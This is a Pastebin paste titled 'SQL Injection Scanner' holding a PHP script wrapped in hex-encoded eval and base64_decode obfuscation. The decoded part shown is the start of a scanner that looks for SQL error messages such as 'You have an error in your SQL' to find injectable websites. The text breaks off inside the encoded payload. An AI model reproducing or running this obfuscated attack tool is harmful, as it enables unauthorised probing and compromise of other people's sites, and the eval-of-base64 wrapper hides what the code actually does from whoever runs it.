CaFc_Br40ck

SQL Injection Scanner

Jul 3rd, 2015
329
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <?php
  2. eval("\x65\x76\x61\x6c\x28\x62\x61\x73\x65\x36\x34\x5f\x64\x65\x63\x6f\x64\x65\x28'Pz48P3BocA0KCXNldF90aW1lX2xpbWl0KDApOw0KCWluaV9zZXQoJ21lbW9yeV9saW1pdCcsICc2NE0nKTsNCgloZWFkZXIoJ0NvbnRlbnQtVHlwZTogdGV4dC9odG1sOyBjaGFyc2V0PVVURi04Jyk7DQoNCgkvKiBFcnJvcnMgQnkgcjNtMWNrKi8NCgkkZXJyb3JbXSA9ICdZb3UgaGF2ZSBhbiBlcnJvciBpbiB5b3VyIFNRTCc7DQoJJGVycm9yW10gPSAnc3VwcGxpZWQgYXJndW1lbnQgaXMgbm90IGEgdmFsaWQgTXlTUUwgcmVzdWx0IHJlc291cmNlIGluJzsNCgkkZXJyb3JbXSA9ICdEaXZpc2lvbiBieSB6ZXJvIGluJzsNCgkkZXJyb3JbXSA9ICdDYWxsIHRvIGEgbWVtYmVyIGZ1bmN0aW9uJzsNCgkkZXJyb3JbXSA9ICdNaWNyb3NvZnQgSkVUIERhdGFiYXNlJzsNCgkkZXJyb3JbXSA9ICdPREJDIE1pY3Jvc29mdCBBY2Nlc3MgRHJpdmVyJzsNCgkkZXJyb3JbXSA9ICdNaWNyb3NvZnQgT0xFIERCIFByb3ZpZGVyIGZvciBTUUwgU2VydmVyJzsNCgkkZXJyb3JbXSA9ICdVbmNsb3NlZCBxdW90YXRpb24gbWFyayc7DQoJJGVycm9yW10gPSAnTWljcm9zb2Z0IE9MRSBEQiBQcm92aWRlciBmb3IgT3JhY2xlJzsNCgkkZXJyb3JbXSA9ICdJbmNvcnJlY3Qgc3ludGF4IG5lYXInOw0KCSRlcnJvcltdID0gJ1NRTCBxdWVyeSBmYWlsZWQnOw0KCQ0KCWZ1bmN0aW9uIGxldEl0QnkoKXsgb2JfZmx1c2goKTsgZmx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